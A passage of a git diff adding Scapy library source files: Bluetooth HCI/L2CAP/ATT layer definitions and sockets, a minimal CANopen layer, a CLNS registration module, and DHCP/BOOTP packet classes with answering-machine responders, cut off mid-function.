+                    StrFixedLenField("ltk", b'\x00' * 16, 16), ]
+
+class HCI_Event_Hdr(Packet):
+    name = "HCI Event header"
+    fields_desc = [ XByteField("code", 0),
+                    ByteField("length", 0), ]
+
+
+class HCI_Event_Disconnection_Complete(Packet):
+    name = "Disconnection Complete"
+    fields_desc = [ ByteEnumField("status", 0, {0:"success"}),
+                    LEShortField("handle", 0),
+                    XByteField("reason", 0), ]
+
+
+class HCI_Event_Encryption_Change(Packet):
+    name = "Encryption Change"
+    fields_desc = [ ByteEnumField("status", 0, {0:"change has occurred"}),
+                    LEShortField("handle", 0),
+                    ByteEnumField("enabled", 0, {0:"OFF", 1:"ON (LE)", 2:"ON (BR/EDR)"}), ]
+
+class HCI_Event_Command_Complete(Packet):
+    name = "Command Complete"
+    fields_desc = [ ByteField("number", 0),
+                    XLEShortField("opcode", 0),
+                    ByteEnumField("status", 0, {0:"success"}), ]
+
+
+class HCI_Cmd_Complete_Read_BD_Addr(Packet):
+    name = "Read BD Addr"
+    fields_desc = [ LEMACField("addr", None), ]
+
+
+
+class HCI_Event_Command_Status(Packet):
+    name = "Command Status"
+    fields_desc = [ ByteEnumField("status", 0, {0:"pending"}),
+                    ByteField("number", 0),
+                    XLEShortField("opcode", None), ]
+
+class HCI_Event_Number_Of_Completed_Packets(Packet):
+    name = "Number Of Completed Packets"
+    fields_desc = [ ByteField("number", 0) ]
+
+class HCI_Event_LE_Meta(Packet):
+    name = "LE Meta"
+    fields_desc = [ ByteEnumField("event", 0, {2:"advertising_report"}) ]
+
+class HCI_LE_Meta_Connection_Complete(Packet):
+    name = "Connection Complete"
+    fields_desc = [ ByteEnumField("status", 0, {0:"success"}),
+                    LEShortField("handle", 0),
+                    ByteEnumField("role", 0, {0:"master"}),
+                    ByteEnumField("patype", 0, {0:"public", 1:"random"}),
+                    LEMACField("paddr", None),
+                    LEShortField("interval", 54),
+                    LEShortField("latency", 0),
+                    LEShortField("supervision", 42),
+                    XByteField("clock_latency", 5), ]
+
+class HCI_LE_Meta_Connection_Update_Complete(Packet):
+    name = "Connection Update Complete"
+    fields_desc = [ ByteEnumField("status", 0, {0:"success"}),
+                    LEShortField("handle", 0),
+                    LEShortField("interval", 54),
+                    LEShortField("latency", 0),
+                    LEShortField("timeout", 42), ]
+
+class HCI_LE_Meta_Advertising_Report(Packet):
+    name = "Advertising Report"
+    fields_desc = [ ByteField("number", 0),
+                    ByteEnumField("type", 0, {0:"conn_und", 4:"scan_rsp"}),
+                    ByteEnumField("atype", 0, {0:"public", 1:"random"}),
+                    LEMACField("addr", None),
+                    FieldLenField("len", None, length_of="data", fmt="B"),
+                    PacketListField("data", [], EIR_Hdr,
+                                    length_from=lambda pkt:pkt.len),
+                    SignedByteField("rssi", 0)]
+
+
+class HCI_LE_Meta_Long_Term_Key_Request(Packet):
+    name = "Long Term Key Request"
+    fields_desc = [ LEShortField("handle", 0),
+                    StrFixedLenField("rand", None, 8),
+                    XLEShortField("ediv", 0), ]
+
+
+bind_layers( HCI_Hdr,       HCI_Command_Hdr,    type=1)
+bind_layers( HCI_Hdr,       HCI_ACL_Hdr,        type=2)
+bind_layers( HCI_Hdr,       HCI_Event_Hdr,      type=4)
+bind_layers( HCI_Hdr,       conf.raw_layer,           )
+
+conf.l2types.register(DLT_BLUETOOTH_HCI_H4, HCI_Hdr)
+
+bind_layers( HCI_Command_Hdr, HCI_Cmd_Reset, opcode=0x0c03)
+bind_layers( HCI_Command_Hdr, HCI_Cmd_Set_Event_Mask, opcode=0x0c01)
+bind_layers( HCI_Command_Hdr, HCI_Cmd_Set_Event_Filter, opcode=0x0c05)
+bind_layers( HCI_Command_Hdr, HCI_Cmd_Connect_Accept_Timeout, opcode=0x0c16)
+bind_layers( HCI_Command_Hdr, HCI_Cmd_LE_Host_Supported, opcode=0x0c6d)
+bind_layers( HCI_Command_Hdr, HCI_Cmd_Read_BD_Addr, opcode=0x1009)
+bind_layers( HCI_Command_Hdr, HCI_Cmd_LE_Read_Buffer_Size, opcode=0x2002)
+bind_layers( HCI_Command_Hdr, HCI_Cmd_LE_Set_Random_Address, opcode=0x2005)
+bind_layers( HCI_Command_Hdr, HCI_Cmd_LE_Set_Advertising_Parameters, opcode=0x2006)
+bind_layers( HCI_Command_Hdr, HCI_Cmd_LE_Set_Advertising_Data, opcode=0x2008)
+bind_layers( HCI_Command_Hdr, HCI_Cmd_LE_Set_Advertise_Enable, opcode=0x200a)
+bind_layers( HCI_Command_Hdr, HCI_Cmd_LE_Set_Scan_Parameters, opcode=0x200b)
+bind_layers( HCI_Command_Hdr, HCI_Cmd_LE_Set_Scan_Enable, opcode=0x200c)
+bind_layers( HCI_Command_Hdr, HCI_Cmd_Disconnect, opcode=0x406)
+bind_layers( HCI_Command_Hdr, HCI_Cmd_LE_Create_Connection, opcode=0x200d)
+bind_layers( HCI_Command_Hdr, HCI_Cmd_LE_Create_Connection_Cancel, opcode=0x200e)
+bind_layers( HCI_Command_Hdr, HCI_Cmd_LE_Connection_Update, opcode=0x2013)
+
+
+bind_layers( HCI_Command_Hdr, HCI_Cmd_LE_Start_Encryption_Request, opcode=0x2019)
+
+bind_layers( HCI_Command_Hdr, HCI_Cmd_LE_Long_Term_Key_Request_Reply, opcode=0x201a)
+bind_layers( HCI_Command_Hdr, HCI_Cmd_LE_Long_Term_Key_Request_Negative_Reply, opcode=0x201b)
+
+bind_layers( HCI_Event_Hdr, HCI_Event_Disconnection_Complete, code=0x5)
+bind_layers( HCI_Event_Hdr, HCI_Event_Encryption_Change, code=0x8)
+bind_layers( HCI_Event_Hdr, HCI_Event_Command_Complete, code=0xe)
+bind_layers( HCI_Event_Hdr, HCI_Event_Command_Status, code=0xf)
+bind_layers( HCI_Event_Hdr, HCI_Event_Number_Of_Completed_Packets, code=0x13)
+bind_layers( HCI_Event_Hdr, HCI_Event_LE_Meta, code=0x3e)
+
+bind_layers( HCI_Event_Command_Complete, HCI_Cmd_Complete_Read_BD_Addr, opcode=0x1009)
+
+bind_layers( HCI_Event_LE_Meta, HCI_LE_Meta_Connection_Complete, event=1)
+bind_layers( HCI_Event_LE_Meta, HCI_LE_Meta_Advertising_Report, event=2)
+bind_layers( HCI_Event_LE_Meta, HCI_LE_Meta_Connection_Update_Complete, event=3)
+bind_layers( HCI_Event_LE_Meta, HCI_LE_Meta_Long_Term_Key_Request, event=5)
+
+bind_layers(EIR_Hdr, EIR_Flags, type=0x01)
+bind_layers(EIR_Hdr, EIR_IncompleteList16BitServiceUUIDs, type=0x02)
+bind_layers(EIR_Hdr, EIR_CompleteList16BitServiceUUIDs, type=0x03)
+bind_layers(EIR_Hdr, EIR_ShortenedLocalName, type=0x08)
+bind_layers(EIR_Hdr, EIR_CompleteLocalName, type=0x09)
+bind_layers(EIR_Hdr, EIR_TX_Power_Level, type=0x0a)
+bind_layers(EIR_Hdr, EIR_Manufacturer_Specific_Data, type=0xff)
+bind_layers(EIR_Hdr, EIR_Raw)
+
+bind_layers( HCI_ACL_Hdr,   L2CAP_Hdr,     )
+bind_layers( L2CAP_Hdr,     L2CAP_CmdHdr,      cid=1)
+bind_layers( L2CAP_Hdr,     L2CAP_CmdHdr,      cid=5) #LE L2CAP Signaling Channel
+bind_layers( L2CAP_CmdHdr,  L2CAP_CmdRej,      code=1)
+bind_layers( L2CAP_CmdHdr,  L2CAP_ConnReq,     code=2)
+bind_layers( L2CAP_CmdHdr,  L2CAP_ConnResp,    code=3)
+bind_layers( L2CAP_CmdHdr,  L2CAP_ConfReq,     code=4)
+bind_layers( L2CAP_CmdHdr,  L2CAP_ConfResp,    code=5)
+bind_layers( L2CAP_CmdHdr,  L2CAP_DisconnReq,  code=6)
+bind_layers( L2CAP_CmdHdr,  L2CAP_DisconnResp, code=7)
+bind_layers( L2CAP_CmdHdr,  L2CAP_InfoReq,     code=10)
+bind_layers( L2CAP_CmdHdr,  L2CAP_InfoResp,    code=11)
+bind_layers( L2CAP_CmdHdr,  L2CAP_Connection_Parameter_Update_Request,    code=18)
+bind_layers( L2CAP_CmdHdr,  L2CAP_Connection_Parameter_Update_Response,    code=19)
+bind_layers( L2CAP_Hdr,     ATT_Hdr,           cid=4)
+bind_layers( ATT_Hdr,       ATT_Error_Response, opcode=0x1)
+bind_layers( ATT_Hdr,       ATT_Exchange_MTU_Request, opcode=0x2)
+bind_layers( ATT_Hdr,       ATT_Exchange_MTU_Response, opcode=0x3)
+bind_layers( ATT_Hdr,       ATT_Find_Information_Request, opcode=0x4)
+bind_layers( ATT_Hdr,       ATT_Find_Information_Response, opcode=0x5)
+bind_layers( ATT_Hdr,       ATT_Find_By_Type_Value_Request, opcode=0x6)
+bind_layers( ATT_Hdr,       ATT_Find_By_Type_Value_Response, opcode=0x7)
+bind_layers( ATT_Hdr,       ATT_Read_By_Type_Request_128bit, opcode=0x8)
+bind_layers( ATT_Hdr,       ATT_Read_By_Type_Request, opcode=0x8)
+bind_layers( ATT_Hdr,       ATT_Read_By_Type_Response, opcode=0x9)
+bind_layers( ATT_Hdr,       ATT_Read_Request, opcode=0xa)
+bind_layers( ATT_Hdr,       ATT_Read_Response, opcode=0xb)
+bind_layers( ATT_Hdr,       ATT_Read_By_Group_Type_Request, opcode=0x10)
+bind_layers( ATT_Hdr,       ATT_Read_By_Group_Type_Response, opcode=0x11)
+bind_layers( ATT_Hdr,       ATT_Write_Request, opcode=0x12)
+bind_layers( ATT_Hdr,       ATT_Write_Response, opcode=0x13)
+bind_layers( ATT_Hdr,       ATT_Write_Command, opcode=0x52)
+bind_layers( ATT_Hdr,       ATT_Handle_Value_Notification, opcode=0x1b)
+bind_layers( L2CAP_Hdr,     SM_Hdr,            cid=6)
+bind_layers( SM_Hdr,        SM_Pairing_Request, sm_command=1)
+bind_layers( SM_Hdr,        SM_Pairing_Response, sm_command=2)
+bind_layers( SM_Hdr,        SM_Confirm,        sm_command=3)
+bind_layers( SM_Hdr,        SM_Random,         sm_command=4)
+bind_layers( SM_Hdr,        SM_Failed,         sm_command=5)
+bind_layers( SM_Hdr,        SM_Encryption_Information, sm_command=6)
+bind_layers( SM_Hdr,        SM_Master_Identification, sm_command=7)
+bind_layers( SM_Hdr,        SM_Identity_Information, sm_command=8)
+bind_layers( SM_Hdr,        SM_Identity_Address_Information, sm_command=9)
+bind_layers( SM_Hdr,        SM_Signing_Information, sm_command=0x0a)
+
+class BluetoothSocketError(BaseException):
+    pass
+
+class BluetoothCommandError(BaseException):
+    pass
+
+class BluetoothL2CAPSocket(SuperSocket):
+    desc = "read/write packets on a connected L2CAP socket"
+    def __init__(self, bt_address):
+        if WINDOWS:
+            warning("Not available on Windows")
+            return
+        s = socket.socket(socket.AF_BLUETOOTH, socket.SOCK_RAW,
+                          socket.BTPROTO_L2CAP)
+        s.connect((bt_address,0))
+        self.ins = self.outs = s
+
+    def recv(self, x=MTU):
+        return L2CAP_CmdHdr(self.ins.recv(x))
+
+class BluetoothRFCommSocket(BluetoothL2CAPSocket):
+    """read/write packets on a connected RFCOMM socket"""
+    def __init__(self, bt_address, port=0):
+        s = socket.socket(socket.AF_BLUETOOTH, socket.SOCK_RAW,
+                          socket.BTPROTO_RFCOMM)
+        s.connect((bt_address,port))
+        self.ins = self.outs = s
+
+class BluetoothHCISocket(SuperSocket):
+    desc = "read/write on a BlueTooth HCI socket"
+    def __init__(self, iface=0x10000, type=None):
+        if WINDOWS:
+            warning("Not available on Windows")
+            return
+        s = socket.socket(socket.AF_BLUETOOTH, socket.SOCK_RAW, socket.BTPROTO_HCI)
+        s.setsockopt(socket.SOL_HCI, socket.HCI_DATA_DIR,1)
+        s.setsockopt(socket.SOL_HCI, socket.HCI_TIME_STAMP,1)
+        s.setsockopt(socket.SOL_HCI, socket.HCI_FILTER, struct.pack("IIIh2x", 0xffffffff,0xffffffff,0xffffffff,0)) #type mask, event mask, event mask, opcode
+        s.bind((iface,))
+        self.ins = self.outs = s
+#        s.connect((peer,0))
+
+
+    def recv(self, x):
+        return HCI_Hdr(self.ins.recv(x))
+
+class sockaddr_hci(Structure):
+    _fields_ = [
+        ("sin_family",      c_ushort),
+        ("hci_dev",         c_ushort),
+        ("hci_channel",     c_ushort),
+    ]
+
+class BluetoothUserSocket(SuperSocket):
+    desc = "read/write H4 over a Bluetooth user channel"
+    def __init__(self, adapter_index=0):
+        if WINDOWS:
+            warning("Not available on Windows")
+            return
+        # s = socket.socket(socket.AF_BLUETOOTH, socket.SOCK_RAW, socket.BTPROTO_HCI)
+        # s.bind((0,1))
+
+        # yeah, if only
+        # thanks to Python's weak ass socket and bind implementations, we have
+        # to call down into libc with ctypes
+
+        sockaddr_hcip = POINTER(sockaddr_hci)
+        cdll.LoadLibrary("libc.so.6")
+        libc = CDLL("libc.so.6")
+
+        socket_c = libc.socket
+        socket_c.argtypes = (c_int, c_int, c_int);
+        socket_c.restype = c_int
+
+        bind = libc.bind
+        bind.argtypes = (c_int, POINTER(sockaddr_hci), c_int)
+        bind.restype = c_int
+
+        ########
+        ## actual code
+
+        s = socket_c(31, 3, 1) # (AF_BLUETOOTH, SOCK_RAW, HCI_CHANNEL_USER)
+        if s < 0:
+            raise BluetoothSocketError("Unable to open PF_BLUETOOTH socket")
+
+        sa = sockaddr_hci()
+        sa.sin_family = 31  # AF_BLUETOOTH
+        sa.hci_dev = adapter_index # adapter index
+        sa.hci_channel = 1   # HCI_USER_CHANNEL
+
+        r = bind(s, sockaddr_hcip(sa), sizeof(sa))
+        if r != 0:
+            raise BluetoothSocketError("Unable to bind")
+
+        self.ins = self.outs = socket.fromfd(s, 31, 3, 1)
+
+    def send_command(self, cmd):
+        opcode = cmd.opcode
+        self.send(cmd)
+        while True:
+            r = self.recv()
+            if r.type == 0x04 and r.code == 0xe and r.opcode == opcode:
+                if r.status != 0:
+                    raise BluetoothCommandError("Command %x failed with %x" % (opcode, r.status))
+                return r
+
+    def recv(self, x=512):
+        return HCI_Hdr(self.ins.recv(x))
+
+    def readable(self, timeout=0):
+        (ins, outs, foo) = select([self.ins], [], [], timeout)
+        return len(ins) > 0
+
+    def flush(self):
+        while self.readable():
+            self.recv()
+
+conf.BTsocket = BluetoothRFCommSocket
+
+## Bluetooth
+
+@conf.commands.register
+def srbt(bt_address, pkts, inter=0.1, *args, **kargs):
+    """send and receive using a bluetooth socket"""
+    if "port" in kargs.keys():
+        s = conf.BTsocket(bt_address=bt_address, port=kargs.pop("port"))
+    else:
+        s = conf.BTsocket(bt_address=bt_address)
+    a,b = sndrcv(s,pkts,inter=inter,*args,**kargs)
+    s.close()
+    return a,b
+
+@conf.commands.register
+def srbt1(bt_address, pkts, *args, **kargs):
+    """send and receive 1 packet using a bluetooth socket"""
+    a,b = srbt(bt_address, pkts, *args, **kargs)
+    if len(a) > 0:
+        return a[0][1]
diff --git a/scapy/layers/can.py b/scapy/layers/can.py
new file mode 100644
index 0000000..7dc2d33
--- /dev/null
+++ b/scapy/layers/can.py
@@ -0,0 +1,36 @@
+# This file is part of Scapy
+# See http://www.secdev.org/projects/scapy for more informations
+# Copyright (C) Philippe Biondi <phil@secdev.org>
+# This program is published under a GPLv2 license
+
+
+"""A minimal implementation of the CANopen protocol, based on
+Wireshark dissectors. See https://wiki.wireshark.org/CANopen
+
+"""
+
+
+from scapy.config import conf
+from scapy.data import DLT_CAN_SOCKETCAN
+from scapy.fields import BitField, FieldLenField, FlagsField, StrLenField, \
+    ThreeBytesField, XBitField
+from scapy.packet import Packet
+
+
+class CAN(Packet):
+    """A minimal implementation of the CANopen protocol, based on
+    Wireshark dissectors. See https://wiki.wireshark.org/CANopen
+
+    """
+    fields_desc = [
+        FlagsField("flags", 0, 3, ["extended", "remote_transmission_request",
+                                   "error"]),
+        BitField("unknown", 0, 18),
+        XBitField("identifier", 0, 11),
+        FieldLenField("length", None, length_of="data", fmt="B"),
+        ThreeBytesField("reserved", 0),
+        StrLenField("data", "", length_from=lambda pkt: pkt.length),
+    ]
+
+
+conf.l2types.register(DLT_CAN_SOCKETCAN, CAN)
diff --git a/scapy/layers/clns.py b/scapy/layers/clns.py
new file mode 100644
index 0000000..b79e194
--- /dev/null
+++ b/scapy/layers/clns.py
@@ -0,0 +1,84 @@
+"""
+    CLNS Extension
+    ~~~~~~~~~~~~~~~~~~~~~
+
+    :copyright: 2014, 2015 BENOCS GmbH, Berlin (Germany)
+    :author:    Marcel Patzlaff, mpatzlaff@benocs.com
+    :license:   GPLv2
+
+        This module is free software; you can redistribute it and/or
+        modify it under the terms of the GNU General Public License
+        as published by the Free Software Foundation; either version 2
+        of the License, or (at your option) any later version.
+
+        This module is distributed in the hope that it will be useful,
+        but WITHOUT ANY WARRANTY; without even the implied warranty of
+        MERCHANTABILITY or FITNESS FOR A PARTICULAR PURPOSE.  See the
+        GNU General Public License for more details.
+
+    :description:
+
+        This module provides a registration function and a generic PDU
+        for OSI Connectionless-mode Network Services (such as IS-IS).
+"""
+import struct
+
+from scapy.config import conf
+from scapy.fields import ByteEnumField, PacketField
+from scapy.layers.l2 import LLC
+from scapy.packet import Packet, bind_top_down, bind_bottom_up
+from scapy.compat import orb
+
+network_layer_protocol_ids = {
+    0x00: "Null",
+    0x08: "Q.933",
+    0x80: "IEEE SNAP",
+    0x81: "ISO 8438 CLNP",
+    0x82: "ISO 9542 ES-IS",
+    0x83: "ISO 10589 IS-IS",
+    0x8E: "IPv6",
+    0xB0: "FRF.9",
+    0xB1: "FRF.12",
+    0xC0: "TRILL",
+    0xC1: "IEEE 802.aq",
+    0xCC: "IPv4",
+    0xCF: "PPP"
+}
+
+
+_cln_protocols = {}
+
+
+class _GenericClnsPdu(Packet):
+    name = "Generic CLNS PDU"
+    fields_desc = [
+        ByteEnumField("nlpid", 0x00, network_layer_protocol_ids),
+        PacketField("rawdata", None, conf.raw_layer)
+    ]
+
+
+def _create_cln_pdu(s, **kwargs):
+    pdu_cls = conf.raw_layer
+
+    if len(s) >= 1:
+        nlpid = orb(s[0])
+        pdu_cls = _cln_protocols.get(nlpid, _GenericClnsPdu)
+
+    return pdu_cls(s, **kwargs)
+
+
+@conf.commands.register
+def register_cln_protocol(nlpid, cln_protocol_class):
+    if nlpid is None or cln_protocol_class is None:
+        return
+
+    chk = _cln_protocols.get(nlpid, None)
+    if chk is not None and chk != cln_protocol_class:
+        raise ValueError("different protocol already registered!")
+
+    _cln_protocols[nlpid] = cln_protocol_class
+    bind_top_down(LLC, cln_protocol_class, dsap=0xfe, ssap=0xfe, ctrl=3)
+
+
+bind_top_down(LLC, _GenericClnsPdu, dsap=0xfe, ssap=0xfe, ctrl=3)
+bind_bottom_up(LLC, _create_cln_pdu, dsap=0xfe, ssap=0xfe, ctrl=3)
diff --git a/scapy/layers/dhcp.py b/scapy/layers/dhcp.py
new file mode 100644
index 0000000..5a9312e
--- /dev/null
+++ b/scapy/layers/dhcp.py
@@ -0,0 +1,389 @@
+## This file is part of Scapy
+## See http://www.secdev.org/projects/scapy for more informations
+## Copyright (C) Philippe Biondi <phil@secdev.org>
+## This program is published under a GPLv2 license
+
+"""
+DHCP (Dynamic Host Configuration Protocol) and BOOTP
+"""
+
+from __future__ import absolute_import
+from __future__ import print_function
+from collections import Iterable
+import struct
+
+from scapy.packet import *
+from scapy.fields import *
+from scapy.ansmachine import *
+from scapy.data import *
+from scapy.compat import *
+from scapy.layers.inet import UDP,IP
+from scapy.layers.l2 import Ether
+from scapy.base_classes import Net
+from scapy.volatile import RandField
+
+from scapy.arch import get_if_raw_hwaddr
+from scapy.sendrecv import *
+from scapy.error import warning
+import scapy.modules.six as six
+from scapy.modules.six.moves import range
+
+dhcpmagic=b"c\x82Sc"
+
+
+class BOOTP(Packet):
+    name = "BOOTP"
+    fields_desc = [ ByteEnumField("op",1, {1:"BOOTREQUEST", 2:"BOOTREPLY"}),
+                    ByteField("htype",1),
+                    ByteField("hlen",6),
+                    ByteField("hops",0),
+                    IntField("xid",0),
+                    ShortField("secs",0),
+                    FlagsField("flags", 0, 16, "???????????????B"),
+                    IPField("ciaddr","0.0.0.0"),
+                    IPField("yiaddr","0.0.0.0"),
+                    IPField("siaddr","0.0.0.0"),
+                    IPField("giaddr","0.0.0.0"),
+                    Field("chaddr",b"", "16s"),
+                    Field("sname",b"","64s"),
+                    Field("file",b"","128s"),
+                    StrField("options",b"") ]
+    def guess_payload_class(self, payload):
+        if self.options[:len(dhcpmagic)] == dhcpmagic:
+            return DHCP
+        else:
+            return Packet.guess_payload_class(self, payload)
+    def extract_padding(self,s):
+        if self.options[:len(dhcpmagic)] == dhcpmagic:
+            # set BOOTP options to DHCP magic cookie and make rest a payload of DHCP options
+            payload = self.options[len(dhcpmagic):]
+            self.options = self.options[:len(dhcpmagic)]
+            return payload, None
+        else:
+            return b"", None
+    def hashret(self):
+        return struct.pack("L", self.xid)
+    def answers(self, other):
+        if not isinstance(other, BOOTP):
+            return 0
+        return self.xid == other.xid
+
+
+class _DHCPParamReqFieldListField(FieldListField):
+    def getfield(self, pkt, s):
+        ret = []
+        while s:
+            s, val = FieldListField.getfield(self, pkt, s)
+            ret.append(val)
+        return b"", [x[0] for x in ret]
+
+#DHCP_UNKNOWN, DHCP_IP, DHCP_IPLIST, DHCP_TYPE \
+#= range(4)
+#
+
+DHCPTypes = {
+                1: "discover",
+                2: "offer",
+                3: "request",
+                4: "decline",
+                5: "ack",
+                6: "nak",
+                7: "release",
+                8: "inform",
+                9: "force_renew",
+                10:"lease_query",
+                11:"lease_unassigned",
+                12:"lease_unknown",
+                13:"lease_active",
+                }
+
+DHCPOptions = {
+    0: "pad",
+    1: IPField("subnet_mask", "0.0.0.0"),
+    2: "time_zone",
+    3: IPField("router","0.0.0.0"),
+    4: IPField("time_server","0.0.0.0"),
+    5: IPField("IEN_name_server","0.0.0.0"),
+    6: IPField("name_server","0.0.0.0"),
+    7: IPField("log_server","0.0.0.0"),
+    8: IPField("cookie_server","0.0.0.0"),
+    9: IPField("lpr_server","0.0.0.0"),
+    12: "hostname",
+    14: "dump_path",
+    15: "domain",
+    17: "root_disk_path",
+    22: "max_dgram_reass_size",
+    23: "default_ttl",
+    24: "pmtu_timeout",
+    28: IPField("broadcast_address","0.0.0.0"),
+    35: "arp_cache_timeout",
+    36: "ether_or_dot3",
+    37: "tcp_ttl",
+    38: "tcp_keepalive_interval",
+    39: "tcp_keepalive_garbage",
+    40: "NIS_domain",
+    41: IPField("NIS_server","0.0.0.0"),
+    42: IPField("NTP_server","0.0.0.0"),
+    43: "vendor_specific",
+    44: IPField("NetBIOS_server","0.0.0.0"),
+    45: IPField("NetBIOS_dist_server","0.0.0.0"),
+    50: IPField("requested_addr","0.0.0.0"),
+    51: IntField("lease_time", 43200),
+    53: ByteEnumField("message-type", 1, DHCPTypes),
+    54: IPField("server_id","0.0.0.0"),
+    55: _DHCPParamReqFieldListField("param_req_list", [], ByteField("opcode", 0), length_from=lambda x: 1),
+    56: "error_message",
+    57: ShortField("max_dhcp_size", 1500),
+    58: IntField("renewal_time", 21600),
+    59: IntField("rebinding_time", 37800),
+    60: "vendor_class_id",
+    61: "client_id",
+    
+    64: "NISplus_domain",
+    65: IPField("NISplus_server","0.0.0.0"),
+    69: IPField("SMTP_server","0.0.0.0"),
+    70: IPField("POP3_server","0.0.0.0"),
+    71: IPField("NNTP_server","0.0.0.0"),
+    72: IPField("WWW_server","0.0.0.0"),
+    73: IPField("Finger_server","0.0.0.0"),
+    74: IPField("IRC_server","0.0.0.0"),
+    75: IPField("StreetTalk_server","0.0.0.0"),
+    76: "StreetTalk_Dir_Assistance",
+    82: "relay_agent_Information",
+    255: "end"
+    }
+
+DHCPRevOptions = {}
+
+for k,v in six.iteritems(DHCPOptions):
+    if isinstance(v, str):
+        n = v
+        v = None
+    else:
+        n = v.name
+    DHCPRevOptions[n] = (k,v)
+del(n)
+del(v)
+del(k)
+    
+    
+
+
+class RandDHCPOptions(RandField):
+    def __init__(self, size=None, rndstr=None):
+        if size is None:
+            size = RandNumExpo(0.05)
+        self.size = size
+        if rndstr is None:
+            rndstr = RandBin(RandNum(0,255))
+        self.rndstr=rndstr
+        self._opts = list(DHCPOptions.values())
+        self._opts.remove("pad")
+        self._opts.remove("end")
+    def _fix(self):
+        op = []
+        for k in range(self.size):
+            o = random.choice(self._opts)
+            if isinstance(o, str):
+                op.append((o,self.rndstr*1))
+            else:
+                op.append((o.name, o.randval()._fix()))
+        return op
+
+
+class DHCPOptionsField(StrField):
+    islist=1
+    def i2repr(self,pkt,x):
+        s = []
+        for v in x:
+            if isinstance(v, tuple) and len(v) >= 2:
+                if  v[0] in DHCPRevOptions and isinstance(DHCPRevOptions[v[0]][1],Field):
+                    f = DHCPRevOptions[v[0]][1]
+                    vv = ",".join(f.i2repr(pkt,val) for val in v[1:])
+                else:
+                    vv = ",".join(repr(val) for val in v[1:])
+                r = "%s=%s" % (v[0],vv)
+                s.append(r)
+            else:
+                s.append(sane(v))
+        return "[%s]" % (" ".join(s))
+        
+    def getfield(self, pkt, s):
+        return b"", self.m2i(pkt, s)
+    def m2i(self, pkt, x):
+        opt = []
+        while x:
+            o = orb(x[0])
+            if o == 255:
+                opt.append("end")
+                x = x[1:]
+                continue
+            if o == 0:
+                opt.append("pad")
+                x = x[1:]
+                continue
+            if len(x) < 2 or len(x) < orb(x[1])+2:
+                opt.append(x)
+                break
+            elif o in DHCPOptions:
+                f = DHCPOptions[o]
+
+                if isinstance(f, str):
+                    olen = orb(x[1])
+                    opt.append( (f,x[2:olen+2]) )
+                    x = x[olen+2:]
+                else:
+                    olen = orb(x[1])
+                    lval = [f.name]
+                    try:
+                        left = x[2:olen+2]
+                        while left:
+                            left, val = f.getfield(pkt,left)
+                            lval.append(val)
+                    except:
+                        opt.append(x)
+                        break
+                    else:
+                        otuple = tuple(lval)
+                    opt.append(otuple)
+                    x = x[olen+2:]
+            else:
+                olen = orb(x[1])
+                opt.append((o, x[2:olen+2]))
+                x = x[olen+2:]
+        return opt
+    def i2m(self, pkt, x):
+        if isinstance(x, str):
+            return x
+        s = b""
+        for o in x:
+            if isinstance(o, tuple) and len(o) >= 2:
+                name = o[0]
+                lval = o[1:]
+
+                if isinstance(name, int):
+                    onum, oval = name, b"".join(lval)
+                elif name in DHCPRevOptions:
+                    onum, f = DHCPRevOptions[name]
+                    if  f is not None:
+                        lval = [f.addfield(pkt,b"",f.any2i(pkt,val)) for val in lval]
+                    oval = b"".join(lval)
+                else:
+                    warning("Unknown field option %s", name)
+                    continue
+
+                s += chb(onum)
+                s += chb(len(oval))
+                s += oval
+
+            elif (isinstance(o, str) and o in DHCPRevOptions and 
+                  DHCPRevOptions[o][1] == None):
+                s += chb(DHCPRevOptions[o][0])
+            elif isinstance(o, int):
+                s += chb(o)+b"\0"
+            elif isinstance(o, (str, bytes)):
+                s += raw(o)
+            else:
+                warning("Malformed option %s", o)
+        return s
+
+
+class DHCP(Packet):
+    name = "DHCP options"
+    fields_desc = [ DHCPOptionsField("options",b"") ]
+
+
+bind_layers( UDP,           BOOTP,         dport=67, sport=68)
+bind_layers( UDP,           BOOTP,         dport=68, sport=67)
+bind_bottom_up( UDP, BOOTP, dport=67, sport=67)
+bind_layers( BOOTP,         DHCP,          options=b'c\x82Sc')
+
+@conf.commands.register
+def dhcp_request(iface=None,**kargs):
+    if conf.checkIPaddr != 0:
+        warning("conf.checkIPaddr is not 0, I may not be able to match the answer")
+    if iface is None:
+        iface = conf.iface
+    fam,hw = get_if_raw_hwaddr(iface)
+    return srp1(Ether(dst="ff:ff:ff:ff:ff:ff")/IP(src="0.0.0.0",dst="255.255.255.255")/UDP(sport=68,dport=67)
+                 /BOOTP(chaddr=hw)/DHCP(options=[("message-type","discover"),"end"]),iface=iface,**kargs)
+
+
+class BOOTP_am(AnsweringMachine):
+    function_name = "bootpd"
+    filter = "udp and port 68 and port 67"
+    send_function = staticmethod(sendp)
+    def parse_options(self, pool=Net("192.168.1.128/25"), network="192.168.1.0/24",gw="192.168.1.1",
+                      domain="localnet", renewal_time=60, lease_time=1800):
+        self.domain = domain
+        netw,msk = (network.split("/")+["32"])[:2]
+        msk = itom(int(msk))
+        self.netmask = ltoa(msk)
+        self.network = ltoa(atol(netw)&msk)
+        self.broadcast = ltoa( atol(self.network) | (0xffffffff&~msk) )
+        self.gw = gw
+        if isinstance(pool, six.string_types):
+            pool = Net(pool)
+        if isinstance(pool, Iterable):
+            pool = [k for k in pool if k not in [gw, self.network, self.broadcast]]
+            pool.reverse()
+        if len(pool) == 1:
+            pool, = pool
+        self.pool = pool
+        self.lease_time = lease_time
+        self.renewal_time = renewal_time
+        self.leases = {}
+
+    def is_request(self, req):
+        if not req.haslayer(BOOTP):
+            return 0
+        reqb = req.getlayer(BOOTP)
+        if reqb.op != 1:
+            return 0
+        return 1
+
+    def print_reply(self, req, reply):
+        print("Reply %s to %s" % (reply.getlayer(IP).dst,reply.dst))
+
+    def make_reply(self, req):        
+        mac = req.src
+        if isinstance(self.pool, list):
+            if mac not in self.leases:
+                self.leases[mac] = self.pool.pop()
+            ip = self.leases[mac]
+        else:
+            ip = self.pool
+            
+        repb = req.getlayer(BOOTP).copy()
+        repb.op="BOOTREPLY"
+        repb.yiaddr = ip
+        repb.siaddr = self.gw
+        repb.ciaddr = self.gw
+        repb.giaddr = self.gw
+        del(repb.payload)
+        rep=Ether(dst=mac)/IP(dst=ip)/UDP(sport=req.dport,dport=req.sport)/repb
+        return rep
+
+
+class DHCP_am(BOOTP_am):
+    function_name="dhcpd"
+    def make_reply(self, req):
+        resp = BOOTP_am.make_reply(self, req)
+        if DHCP in req:
+            dhcp_options = [(op[0],{1:2,3:5}.get(op[1],op[1]))
+                            for op in req[DHCP].options
+                            if isinstance(op, tuple)  and op[0] == "message-type"]
+            dhcp_options += [("server_id",self.gw),
